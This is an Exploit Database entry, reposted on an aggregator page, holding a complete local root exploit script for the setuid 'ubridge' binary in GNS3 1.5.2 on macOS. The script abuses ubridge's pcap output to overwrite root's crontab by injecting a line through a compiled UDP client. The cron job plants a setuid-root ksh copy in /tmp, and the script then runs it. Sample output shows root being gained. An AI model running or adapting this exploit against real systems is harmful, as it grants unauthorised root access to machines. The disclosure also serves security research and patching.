GNS3 Mac OS-X 1.5.2 – ‘ubridge’ Local Privilege Escalation

Exploit Database
115 阅读

作者： Hacker Fantastic

日期： 2017-04-13
类别：
- local
平台：
- osx
来源：https://www.exploit-db.com/exploits/41873/

#!/bin/sh

# GNS-3 Mac OS-X LPE local root exploit

# =====================================

# GNS-3 on OS-X bundles the "ubridge" binary as a setuid

# root file. This file can be used to read arbitary files

# using "-f" arguement but also as it runs as root can also

# write arbitrary files with "pcap_file" arguement within

# configuration ini file. It is possible to abuse this utility

# to also write arbitary contents by bridging a UDP tunnel

# and writing to disk. We can exploit these mishaps to gain

# root privileges on a host that has GNS-3 installed by

# writing a malicious crontab entry and escalating privileges.

# This exploit takes advantage of this flaw to overwrite

# root crontab with our own entry and to spawn a root shell.

# Don't forget to clean up in /usr/lib/spool/tabs and /tmp

# after running. Tested on GNS-3 version 1.5.2. The root user

# must have a crontab installed (even an empty one set with

# crontab -e) or the box rebooted after first attempt to get

# commands to execute with this cron method.

# $ ./gns3super-osx.sh

# [+] GNS-3 Mac OS-X local root LPE exploit 0day

# [-] creating ubridge.ini file...

# [-] Launching ubridge..

# [-] Preparing cron script...

# Parsing prdelka

# Creating UDP tunnel 40000:127.0.0.1:40001

# Creating UDP tunnel 50000:127.0.0.1:50001

# Starting packet capture to /usr/lib/cron/tabs/root with protocol (null)

# unknown link type (null), assuming Ethernet.

# Capturing to file '/usr/lib/cron/tabs/root'

# Source NIO listener thread for prdelka has started

# Destination NIO listener thread for prdelka has started

# [-] making magic packet client...

# [-] packet fired

# [-] Waiting a minute for the exploit magic...

# -rwsr-xr-x1 rootwheel1377872 Apr 12 23:32 /tmp/pdkhax

# [-] Got Root?

# # id

# uid=501(hackerfantastic) gid=20(staff) euid=0(root)

# -- Hacker Fantastic (www.myhackerhouse.com)

echo "[+] GNS-3 Mac OS-X local root LPE exploit 0day"

echo "[-] creating ubridge.ini file..."

cat > ubridge.ini << EOF

[prdelka]

source_udp = 40000:127.0.0.1:40001

destination_udp = 50000:127.0.0.1:50001

pcap_file = "/usr/lib/cron/tabs/root"

EOF

echo "[-] Launching ubridge.."

/Applications/GNS3.app/Contents/Resources/ubridge &

echo "[-] Preparing cron script..."

cat > /tmp/pdk.sh << EOF

cp /bin/ksh /tmp/pdkhax

chown 0:0 /tmp/pdkhax

chmod 4755 /tmp/pdkhax

EOF

chmod 755 /tmp/pdk.sh

echo "[-] making magic packet client..."

cat > udphax.c << EOF

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <arpa/inet.h>

#include <sys/socket.h>

#include <sys/types.h>

int main(int argc, char* argv[]) {

struct sockaddr_in si_other, srcaddr;

int s, i, slen=sizeof(si_other);

char* pkt = "\n* * * * * /tmp/pdk.sh\n\n";

s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

memset((char *) &si_other, 0, sizeof(si_other));

si_other.sin_family = AF_INET;

si_other.sin_port = htons(50000);

inet_aton("127.0.0.1", &si_other.sin_addr);

srcaddr.sin_family = AF_INET;

srcaddr.sin_addr.s_addr = htonl(INADDR_ANY);

srcaddr.sin_port = htons(50001);

bind(s,(struct sockaddr *) &srcaddr, sizeof(srcaddr));

sendto(s,pkt,strlen(pkt),0,(struct sockaddr *)&si_other, slen);

printf("[-] packet fired\n");

}

EOF

gcc udphax.c -o udphax

./udphax

echo "[-] Waiting a minute for the exploit magic..."

rm -rf udphax* ubridge.ini

pkill ubridge

sleep 60

rm -rf /tmp/pdk.sh

ls -al /tmp/pdkhax

echo "[-] Got Root?"

/tmp/pdkhax